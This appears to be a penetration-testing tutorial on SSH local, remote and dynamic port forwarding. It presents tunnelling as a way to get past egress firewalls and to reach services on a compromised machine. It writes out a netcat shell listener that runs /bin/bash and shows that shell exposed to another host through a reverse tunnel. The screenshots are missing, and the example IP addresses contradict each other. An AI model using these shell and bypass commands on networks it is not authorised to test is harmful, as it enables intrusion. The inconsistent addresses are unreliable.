SSH Tunnelling / Port Forwarding
Exploring SSH tunneling
If you are on the network that restricts you from establishing certain connections to the outside world, local port forwarding allows you to bypass this limitation. For example, if you have a host that you want to access, but the egress firewall won't allow it, do this:
ssh -L 127.0.0.1:9999:REMOTE_HOST:PORT user@SSH_SERVER
You can now sent traffic to 127.0.0.1:9999 on your localhost and that traffic will flow through the SSH_SERVER to REMOTE_HOST:PORT.
Let's see with a real example.
ssh -L9999:10.0.0.12:4444 firstname.lastname@example.org -N -f
The above says: bind on a local port 9999 (on a host 10.0.0.5). Listen for any traffic coming to that port 9999 (i.e 127.0.0.1:9999 or 10.0.0.5:9999) and forward it all that to the port 4444 on host 10.0.0.12:
We can see that the 127.0.0.1:9999 is now indeed listening:
Machine 10.0.0.12 is listening on port 4444 - it is ready to give a reverse shell to whoever joins:
Since the machine is listening on 127.0.0.1:9999, let's netcat it - this should give us a reverse shell from 10.0.0.12:4444:
The above indeed shows that we got a reverse shell from 10.0.0.12 and the local tunnel worked.
Remote port forwarding helps in situations when you have compromised a box that has a service running on a port bound to 127.0.0.1, but you want to access that service from outside. In other words, remote port forwarding exposes an obscured port (bound to localhost) so that it can be reached from outside through the SSH tunnel.
Pseudo syntax for creating remote port forwarding with ssh tunnels is:
ssh -R 5555:LOCAL_HOST:4444 user@SSH_SERVER
The above suggests that any traffic sent to port 5555 on SSHSERVER will be forwarded to the port 4444 on the LOCALHOST - the host that runs the service that is only accessible from inside that host. In other words, service on port 4444 on LOCALHOST will now be exposed through the SSHSERVER's port 5555.
Let's see an example.
Let's create a reverse shell listener bound to 127.0.0.1 (not reachable to hosts from outside) on port 4444:
nc -lp 4444 -s 127.0.0.1 -e /bin/bash & ss -lt
Now, let's open a tunnel to 10.0.0.5 and create remote port forwarding by exposing the port 4444 for the host 10.0.0.5:
ssh -R5555:localhost:4444 email@example.com -fN
The above says: bind a port 5555 on 10.0.0.5 and make sure that any traffic sent to port 5555 on 10.0.0.5, gets forwarded to a service listening on localhost:4444 on to this box (10.0.0.12).
Indeed, we can see a port 5555 got opened up on 10.0.0.5 as part of the tunnel creation:
Let's try sending some traffic to 127.0.0.1:5555 - this should give us a reverse shell from the 10.0.0.12:4444 - which it did:
Pseudo syntax for creating dynamic port forwarding:
ssh -D 127.0.0.1:9090 user@SSH_SERVER
The above essentially means: bind port 9090 on localhost and any traffic that gets sent to this port, please relay it to the SSH_SERVER - I trust it to make the connections for me.
For the demo, let's check what is our current IP before the dynamic port forwarding is set up:
Creating an ssh tunnel to 126.96.36.199 and binding port 9090 on the local machine 10.0.0.5:
ssh -D9090 firstname.lastname@example.org
Checking network connections on the localhost 10.0.0.5, we can see that the port 9090 is now listening:
This means that if we send any traffic to 127.0.0.1:9090, that traffic will be sent to the hosts on the other end of the ssh tunnel - 188.8.131.52 and then the host 184.108.40.206 will make connections to other hosts on behalf of the host 10.0.0.5. It will return any data it receives back to the originating host 10.0.0.5.
To test this, we can set our browser to use a socks5 proxy server 127.0.0.1:9090 like so:
If we check what our IP is again, it is obvious that we are now indeed masquerading the internet as 220.127.116.11:
Dynamic port forwarding plays along nicely with ProxyChains.